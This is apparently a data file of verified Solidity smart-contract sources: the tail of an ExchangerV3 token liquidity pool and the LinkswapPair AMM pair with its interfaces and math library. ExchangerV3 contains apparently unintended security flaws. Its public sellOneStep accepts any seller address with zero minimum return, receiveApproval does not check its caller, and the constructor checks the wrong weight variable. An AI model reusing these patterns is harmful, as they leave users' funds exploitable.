mapping (address => bool) public admins;
constructor() public {
creator = msg.sender;
admins[creator] = true;
}
//Restrict to the current owner. There may be only 1 owner at a time, but
//ownership can be transferred.
modifier onlyOwner {
require(creator == msg.sender);
_;
}
//Restrict to any admin. Not sufficient for highly sensitive methods
//since basic admin can be granted programatically regardless of msg.sender
modifier onlyAdmin {
require(admins[msg.sender] || creator == msg.sender);
_;
}
//Add an admin with basic privileges. Can be done by any superuser (or the owner)
function grantAdmin(address newAdmin) onlyOwner public {
_grantAdmin(newAdmin);
}
function _grantAdmin(address newAdmin) internal
{
admins[newAdmin] = true;
}
//Transfer ownership
function changeOwner(address newOwner) onlyOwner public {
creator = newOwner;
}
//Remove an admin
function revokeAdminStatus(address user) onlyOwner public {
admins[user] = false;
}
}
/* A liqudity pool that executes buy and sell orders for an ETH / Token Pair */
/* The owner deploys it and then adds tokens / ethereum in the desired ratio */
contract ExchangerV3 is Administered, tokenRecipient {
bool public enabled = false; //Owner can turn off and on
//The token which is being bought and sold
ITradeableAsset public tokenContract;
//The contract that does the calculations to determine buy and sell pricing
IYeekFormula public formulaContract;
//The reserve pct of this exchanger, expressed in ppm
uint32 public weight;
//The fee, in ppm
uint32 public fee=5000; //0.5%
//The portion of the total supply that is not currently (e.g. not yet issued) or not ever (e.g. burned) in circulation
//The formula calculates prices based on a circulating supply which is: total supply - uncirculated supply - reserve supply (balance of exchanger)
uint256 public uncirculatedSupplyCount=0;
//Accounting for the fees
uint256 public collectedFees=0;
//If part of the ether reserve is stored offsite for security reasons this variable holds that value
uint256 public virtualReserveBalance=0;
/**
@dev Deploys an exchanger contract for a given token / Ether pairing
@param _token An ERC20 token
@param _weight The reserve fraction of this exchanger, in ppm
@param _formulaContract The contract with the algorithms to calculate price
*/
constructor(address _token,
uint32 _weight,
address _formulaContract) {
require (_weight > 0 && weight <= 1000000);
weight = _weight;
tokenContract = ITradeableAsset(_token);
formulaContract = IYeekFormula(_formulaContract);
}
//Events raised on completion of buy and sell orders.
//The web client can use this info to provide users with their trading history for a given token
//and also to notify when a trade has completed.
event Buy(address indexed purchaser, uint256 amountInWei, uint256 amountInToken);
event Sell(address indexed seller, uint256 amountInToken, uint256 amountInWei);
/**
@dev Deposit tokens to the reserve.
*/
function depositTokens(uint amount) onlyOwner public {
tokenContract.transferFrom(msg.sender, this, amount);
}
/**
@dev Deposit ether to the reserve
*/
function depositEther() onlyOwner public payable {
//return getQuotePrice();
}
/**
@dev Withdraw tokens from the reserve
*/
function withdrawTokens(uint amount) onlyOwner public {
tokenContract.transfer(msg.sender, amount);
}
/**
@dev Withdraw ether from the reserve
*/
function withdrawEther(uint amountInWei) onlyOwner public {
msg.sender.transfer(amountInWei); //Transfers in wei
}
/**
@dev Withdraw accumulated fees, without disturbing the core reserve
*/
function extractFees(uint amountInWei) onlyAdmin public {
require (amountInWei <= collectedFees);
msg.sender.transfer(amountInWei);
}
/**
@dev Enable trading
*/
function enable() onlyAdmin public {
enabled = true;
}
/**
@dev Disable trading
*/
function disable() onlyAdmin public {
enabled = false;
}
/**
@dev Play central banker and set the fractional reserve ratio, from 1 to 1000000 ppm.
It is highly disrecommended to do this while trading is enabled! Obviously this should
only be done in combination with a matching deposit or withdrawal of ether,
and I'll enforce it at a later point.
*/
function setReserveWeight(uint ppm) onlyAdmin public {
require (ppm>0 && ppm<=1000000);
weight = uint32(ppm);
}
function setFee(uint ppm) onlyAdmin public {
require (ppm >= 0 && ppm <= 1000000);
fee = uint32(ppm);
}
/* The number of tokens that are burned, unissued, or otherwise not in circulation */
function setUncirculatedSupplyCount(uint newValue) onlyAdmin public {
require (newValue > 0);
uncirculatedSupplyCount = uint256(newValue);
}
/**
* The virtual reserve balance set here is added on to the actual ethereum balance of this contract
* when calculating price for buy/sell. Note that if you have no real ether in the reserve, you will
* not have liquidity for sells until you have some buys first.
*/
function setVirtualReserveBalance(uint256 amountInWei) onlyAdmin public {
virtualReserveBalance = amountInWei;
}
//These methods return information about the exchanger, and the buy / sell rates offered on the Token / ETH pairing.
//They can be called without gas from any client.
/**
@dev Audit the reserve balances, in the base token and in ether
returns: [token balance, ether balance - ledger]
*/
function getReserveBalances() public view returns (uint256, uint256) {
return (tokenContract.balanceOf(this), address(this).balance+virtualReserveBalance);
}
/**
@dev Get the BUY price based on the order size. Returned as the number of tokens that the amountInWei will buy.
*/
function getPurchasePrice(uint256 amountInWei) public view returns(uint) {
uint256 purchaseReturn = formulaContract.calculatePurchaseReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
amountInWei
);
purchaseReturn = (purchaseReturn - ((purchaseReturn * fee) / 1000000));
if (purchaseReturn > tokenContract.balanceOf(this)){
return tokenContract.balanceOf(this);
}
return purchaseReturn;
}
/**
@dev Get the SELL price based on the order size. Returned as amount (in wei) that you'll get for your tokens.
*/
function getSalePrice(uint256 tokensToSell) public view returns(uint) {
uint256 saleReturn = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
tokensToSell
);
saleReturn = (saleReturn - ((saleReturn * fee) / 1000000));
if (saleReturn > address(this).balance) {
return address(this).balance;
}
return saleReturn;
}
//buy and sell execute live trades against the exchanger. For either method,
//you must specify your minimum return (in total tokens or ether that you expect to receive for your trade)
//this protects the trader against slippage due to other orders that make it into earlier blocks after they
//place their order.
//
//With buy, send the amount of ether you want to spend on the token - you'll get it back immediately if minPurchaseReturn
//is not met or if this Exchanger is not in a condition to service your order (usually this happens when there is not a full
//reserve of tokens to satisfy the stated weight)
//
//With sell, first approve the exchanger to spend the number of tokens you want to sell
//Then call sell with that number and your minSaleReturn. The token transfer will not happen
//if the minSaleReturn is not met.
//
//Sales always go through, as long as there is any ether in the reserve... but those dumping massive quantities of tokens
//will naturally be given the shittest rates.
/**
@dev Buy tokens with ether.
@param minPurchaseReturn The minimum number of tokens you will accept.
*/
function buy(uint minPurchaseReturn) public payable {
uint amount = formulaContract.calculatePurchaseReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
(address(this).balance + virtualReserveBalance) - msg.value,
weight,
msg.value);
amount = (amount - ((amount * fee) / 1000000));
//Now do the trade if conditions are met
require (enabled); // ADDED SEMICOLON
require (amount >= minPurchaseReturn);
require (tokenContract.balanceOf(this) >= amount);
//Accounting - so we can pull the fees out without changing the balance
collectedFees += (msg.value * fee) / 1000000;
emit Buy(msg.sender, msg.value, amount);
tokenContract.transfer(msg.sender, amount);
}
/**
@dev Sell tokens for ether
@param quantity Number of tokens to sell
@param minSaleReturn Minimum amount of ether (in wei) you will accept for your tokens
*/
function sell(uint quantity, uint minSaleReturn) public {
uint amountInWei = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply()- uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
quantity
);
amountInWei = (amountInWei - ((amountInWei * fee) / 1000000));
require (enabled); // ADDED SEMICOLON
require (amountInWei >= minSaleReturn);
require (amountInWei <= address(this).balance);
require (tokenContract.transferFrom(msg.sender, this, quantity));
collectedFees += (amountInWei * fee) / 1000000;
emit Sell(msg.sender, quantity, amountInWei);
msg.sender.transfer(amountInWei); //Always send ether last
}
//approveAndCall flow for selling entry point
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external {
//not needed: if it was the wrong token, the tx fails anyways require(_token == address(tokenContract));
sellOneStep(_value, 0, _from);
}
//Variant of sell for one step ordering. The seller calls approveAndCall on the token
//which calls receiveApproval above, which calls this funciton
function sellOneStep(uint quantity, uint minSaleReturn, address seller) public {
uint amountInWei = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
quantity
);
amountInWei = (amountInWei - ((amountInWei * fee) / 1000000));
require (enabled); // ADDED SEMICOLON
require (amountInWei >= minSaleReturn);
require (amountInWei <= address(this).balance);
require (tokenContract.transferFrom(seller, this, quantity));
collectedFees += (amountInWei * fee) / 1000000;
emit Sell(seller, quantity, amountInWei);
seller.transfer(amountInWei); //Always send ether last
}
} | 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|||
LinkswapPair | /Users/admin/GitHub/defi/linkswap-truffle/contracts/LinkswapPair.sol | 0x8c567f0ddedb45f79708e969b02e6ce19526439e | Solidity | pragma solidity 0.6.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./libraries/Math.sol";
import "./libraries/SafeMathLinkswap.sol";
import "./libraries/UQ112x112.sol";
import "./interfaces/ILinkswapCallee.sol";
import "./interfaces/ILinkswapFactory.sol";
import "./interfaces/ILinkswapPair.sol";
contract LinkswapPair is ILinkswapPair, ReentrancyGuard {
using SafeMathLinkswap for uint256;
using UQ112x112 for uint224;
string public constant override name = "LinkSwap LP Token";
string public constant override symbol = "LSLP";
uint8 public constant override decimals = 18;
uint256 public override totalSupply;
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32
public constant
override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public override nonces;
uint256 public constant override MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
mapping(address => uint256) public override addressToLockupExpiry;
mapping(address => uint256) public override addressToLockupAmount;
address public override factory;
address public override token0;
address public override token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public override price0CumulativeLast;
uint256 public override price1CumulativeLast;
uint256 public override kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 public override tradingFeePercent; // need to divide by 1,000,000, e.g. 3000 = 0.3%
uint256 public override lastSlippageBlocks;
uint256 public override priceAtLastSlippageBlocks;
uint256 public override lastSwapPrice;
modifier onlyGovernance() {
require(msg.sender == ILinkswapFactory(factory).governance(), "Pair: FORBIDDEN");
_;
}
constructor() public {
factory = msg.sender;
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
}
// called once by the factory at time of deployment
function initialize(
address _token0,
address _token1,
uint256 _tradingFeePercent
) external override {
require(msg.sender == factory, "Pair: FORBIDDEN"); // sufficient check
token0 = _token0;
token1 = _token1;
tradingFeePercent = _tradingFeePercent;
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external override returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(deadline >= block.timestamp, "Pair: EXPIRED");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "Pair: INVALID_SIGNATURE");
_approve(owner, spender, value);
}
function getReserves()
public
view
override
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(
address token,
address to,
uint256 value
) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "Pair: TRANSFER_FAILED");
}
// update reserves and, on the first call per block, price accumulators
function _update(
uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1
) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), "Pair: OVERFLOW");
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
uint256 protocolFeeFractionInverse = ILinkswapFactory(factory).protocolFeeFractionInverse();
feeOn = protocolFeeFractionInverse != 0;
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 liquidity = totalSupply.mul(rootK.sub(rootKLast)).mul(1000) /
((rootK.mul(protocolFeeFractionInverse.sub(1000))).add(rootKLast.mul(1000)));
if (liquidity > 0) {
ILinkswapFactory linkswapFactory = ILinkswapFactory(factory);
uint256 treasuryProtocolFeeShare = linkswapFactory.treasuryProtocolFeeShare();
_mint(linkswapFactory.treasury(), liquidity.mul(treasuryProtocolFeeShare) / 1000000);
_mint(
linkswapFactory.governance(),
liquidity.mul(uint256(1000000).sub(treasuryProtocolFeeShare)) / 1000000
);
}
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) public override nonReentrant returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, "Pair: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
function _lock(
address locker,
uint256 lockupPeriod,
uint256 liquidityLockupAmount
) private {
if (lockupPeriod == 0 && liquidityLockupAmount == 0) return;
if (addressToLockupExpiry[locker] == 0) {
// not currently locked
require(lockupPeriod > 0, "Pair: ZERO_LOCKUP_PERIOD");
require(liquidityLockupAmount > 0, "Pair: ZERO_LOCKUP_AMOUNT");
addressToLockupExpiry[locker] = block.timestamp.add(lockupPeriod);
} else {
// locking when already locked will extend lockup period
addressToLockupExpiry[locker] = addressToLockupExpiry[locker].add(lockupPeriod);
}
addressToLockupAmount[locker] = addressToLockupAmount[locker].add(liquidityLockupAmount);
_transfer(locker, address(this), liquidityLockupAmount);
emit Lock(locker, lockupPeriod, liquidityLockupAmount);
}
// called once by the factory at time of deployment
function listingLock(
address lister,
uint256 lockupPeriod,
uint256 liquidityLockupAmount
) external override {
require(msg.sender == factory, "Pair: FORBIDDEN");
_lock(lister, lockupPeriod, liquidityLockupAmount);
}
function lock(uint256 lockupPeriod, uint256 liquidityLockupAmount) external override {
_lock(msg.sender, lockupPeriod, liquidityLockupAmount);
}
function unlock() external override {
require(addressToLockupExpiry[msg.sender] <= block.timestamp, "Pair: BEFORE_EXPIRY");
_transfer(address(this), msg.sender, addressToLockupAmount[msg.sender]);
emit Unlock(msg.sender, addressToLockupAmount[msg.sender]);
addressToLockupAmount[msg.sender] = 0;
addressToLockupExpiry[msg.sender] = 0;
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external override nonReentrant returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, "Pair: INSUFFICIENT_LIQUIDITY_BURNED");
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external override nonReentrant {
require(amount0Out > 0 || amount1Out > 0, "Pair: INSUFFICIENT_OUTPUT_AMOUNT");
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, "Pair: INSUFFICIENT_LIQUIDITY");
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "Pair: INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) ILinkswapCallee(to).linkswapCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
if (ILinkswapFactory(factory).maxSlippagePercent() > 0) {
uint256 currentPrice = balance0.mul(1e18) / balance1;
if (priceAtLastSlippageBlocks == 0) {
priceAtLastSlippageBlocks = currentPrice;
lastSlippageBlocks = block.number;
} else {
bool resetSlippage = lastSlippageBlocks.add(ILinkswapFactory(factory).maxSlippageBlocks()) <
block.number;
uint256 lastPrice = resetSlippage ? lastSwapPrice : priceAtLastSlippageBlocks;
require(
currentPrice >=
lastPrice.mul(uint256(100).sub(ILinkswapFactory(factory).maxSlippagePercent())) / 100 &&
currentPrice <=
lastPrice.mul(uint256(100).add(ILinkswapFactory(factory).maxSlippagePercent())) / 100,
"Pair: SlipLock"
);
if (resetSlippage) {
priceAtLastSlippageBlocks = currentPrice;
lastSlippageBlocks = block.number;
}
}
lastSwapPrice = currentPrice;
}
}
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, "Pair: INSUFFICIENT_INPUT_AMOUNT");
{
// scope for balance{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1e6).sub(amount0In.mul(tradingFeePercent));
uint256 balance1Adjusted = balance1.mul(1e6).sub(amount1In.mul(tradingFeePercent));
require(balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1e6**2), "Pair: K");
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external override nonReentrant {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external override nonReentrant {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
function _setTradingFeePercent(uint256 _tradingFeePercent) private {
// max 1%
require(_tradingFeePercent <= 10000, "Pair: INVALID_TRADING_FEE_PERCENT");
tradingFeePercent = _tradingFeePercent;
}
function setTradingFeePercent(uint256 _tradingFeePercent) external override onlyGovernance {
_setTradingFeePercent(_tradingFeePercent);
}
} | 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| v0.6.6+commit.6c089d02 | true | 200 | Default | false | |||||
LinkswapPair | /Users/admin/GitHub/defi/linkswap-truffle/contracts/interfaces/ILinkswapCallee.sol | 0x8c567f0ddedb45f79708e969b02e6ce19526439e | Solidity | pragma solidity 0.6.6;
interface ILinkswapCallee {
function linkswapCall(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
} | 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| v0.6.6+commit.6c089d02 | true | 200 | Default | false | |||||
LinkswapPair | /Users/admin/GitHub/defi/linkswap-truffle/contracts/interfaces/ILinkswapERC20.sol | 0x8c567f0ddedb45f79708e969b02e6ce19526439e | Solidity | pragma solidity 0.6.6;
interface ILinkswapERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
} | 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| v0.6.6+commit.6c089d02 | true | 200 | Default | false | |||||
LinkswapPair | /Users/admin/GitHub/defi/linkswap-truffle/contracts/interfaces/ILinkswapFactory.sol | 0x8c567f0ddedb45f79708e969b02e6ce19526439e | Solidity | pragma solidity 0.6.6;
interface ILinkswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256 pairNum);
function LINK() external view returns (address);
function WETH() external view returns (address);
function YFL() external view returns (address);
function governance() external view returns (address);
function treasury() external view returns (address);
function priceOracle() external view returns (address);
// USD amounts should be 8 dp precision
// frontend should approve transfer of higher amount (e.g. 1.1x) due to price fluctuations
function linkListingFeeInUsd() external view returns (uint256);
function wethListingFeeInUsd() external view returns (uint256);
function yflListingFeeInUsd() external view returns (uint256);
// need to divide share by 1,000,000 e.g. 100,000 is 10%
// the rest goes to governance
function treasuryListingFeeShare() external view returns (uint256);
function minListingLockupAmountInUsd() external view returns (uint256);
// if lockup amount is set to this or more, the lockup amount proportion of listing fee discount is fully unlocked
// if less than this amount, then lockup amount proportion of listing fee discount is linearly interpolated from the distance between min and target lockup amounts e.g. 60% towards target from min means 60% of lockup amount discount
function targetListingLockupAmountInUsd() external view returns (uint256);
// in seconds since unix epoch
// min lockup period for the listing lockup amount
function minListingLockupPeriod() external view returns (uint256);
// in seconds since unix epoch
// if lockup period is set to this or longer, the lockup time proportion of listing fee discount is fully unlocked
// if less than this period, then lockup time proportion of listing fee discount is linearly interpolated from the distance between min and target lockup times e.g. 60% towards target from min means 60% of lockup time discount
function targetListingLockupPeriod() external view returns (uint256);
// need to divide share by 1,000,000 e.g. 100,000 is 10%
// rest of listing fee discount is determined by lockup period
function lockupAmountListingFeeDiscountShare() external view returns (uint256);
// need to divide fee percents by 1,000,000 e.g. 3000 is 0.3000%
function defaultLinkTradingFeePercent() external view returns (uint256);
function defaultNonLinkTradingFeePercent() external view returns (uint256);
// need to divide share by 1,000,000 e.g. 100,000 is 10%
// the rest goes to governance
function treasuryProtocolFeeShare() external view returns (uint256);
// inverse of protocol fee fraction, then multiplied by 1000.
// e.g. if protocol fee is 3/7th of trading fee, then value = 7/3 * 1000 = 2333
// set to 0 to disable protocol fee
function protocolFeeFractionInverse() external view returns (uint256);
// need to divide by 100 e.g. 50 is 50%
function maxSlippagePercent() external view returns (uint256);
// max slippage resets after this many blocks
function maxSlippageBlocks() external view returns (uint256);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function approvedPair(address tokenA, address tokenB) external view returns (bool approved);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function approvePairViaGovernance(address tokenA, address tokenB) external;
function createPair(
address newToken,
uint256 newTokenAmount,
address lockupToken, // LINK or WETH
uint256 lockupTokenAmount,
uint256 lockupPeriod,
address listingFeeToken
) external returns (address pair);
function setPriceOracle(address) external;
function setTreasury(address) external;
function setGovernance(address) external;
function setTreasuryProtocolFeeShare(uint256) external;
function setProtocolFeeFractionInverse(uint256) external;
function setLinkListingFeeInUsd(uint256) external;
function setWethListingFeeInUsd(uint256) external;
function setYflListingFeeInUsd(uint256) external;
function setTreasuryListingFeeShare(uint256) external;
function setMinListingLockupAmountInUsd(uint256) external;
function setTargetListingLockupAmountInUsd(uint256) external;
function setMinListingLockupPeriod(uint256) external;
function setTargetListingLockupPeriod(uint256) external;
function setLockupAmountListingFeeDiscountShare(uint256) external;
function setDefaultLinkTradingFeePercent(uint256) external;
function setDefaultNonLinkTradingFeePercent(uint256) external;
function setMaxSlippagePercent(uint256) external;
function setMaxSlippageBlocks(uint256) external;
} | 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| v0.6.6+commit.6c089d02 | true | 200 | Default | false | |||||
LinkswapPair | /Users/admin/GitHub/defi/linkswap-truffle/contracts/interfaces/ILinkswapPair.sol | 0x8c567f0ddedb45f79708e969b02e6ce19526439e | Solidity | pragma solidity 0.6.6;
import "./ILinkswapERC20.sol";
interface ILinkswapPair is ILinkswapERC20 {
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Lock(address indexed sender, uint256 lockupPeriod, uint256 liquidityLockupAmount);
event Unlock(address indexed sender, uint256 liquidityUnlocked);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function addressToLockupExpiry(address) external view returns (uint256);
function addressToLockupAmount(address) external view returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function tradingFeePercent() external view returns (uint256);
function lastSlippageBlocks() external view returns (uint256);
function priceAtLastSlippageBlocks() external view returns (uint256);
function lastSwapPrice() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function lock(uint256 lockupPeriod, uint256 liquidityLockupAmount) external;
function unlock() external;
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function setTradingFeePercent(uint256 _tradingFeePercent) external;
// functions only callable by LinkswapFactory
function initialize(
address _token0,
address _token1,
uint256 _tradingFeePercent
) external;
function listingLock(
address lister,
uint256 lockupPeriod,
uint256 liquidityLockupAmount
) external;
} | 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| v0.6.6+commit.6c089d02 | true | 200 | Default | false | |||||
LinkswapPair | /Users/admin/GitHub/defi/linkswap-truffle/contracts/libraries/SafeMathLinkswap.sol | 0x8c567f0ddedb45f79708e969b02e6ce19526439e | Solidity | pragma solidity 0.6.6;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathLinkswap {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
} | 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| v0.6.6+commit.6c089d02 | true | 200 | Default | false | |||||
BeaconBackportRewardsEscrowBeneficiary | solidity/contracts/PhasedEscrow.sol | 0x4e73e4fab3f999f2e93eb5df77dc438443633600 | Solidity | pragma solidity 0.5.17;
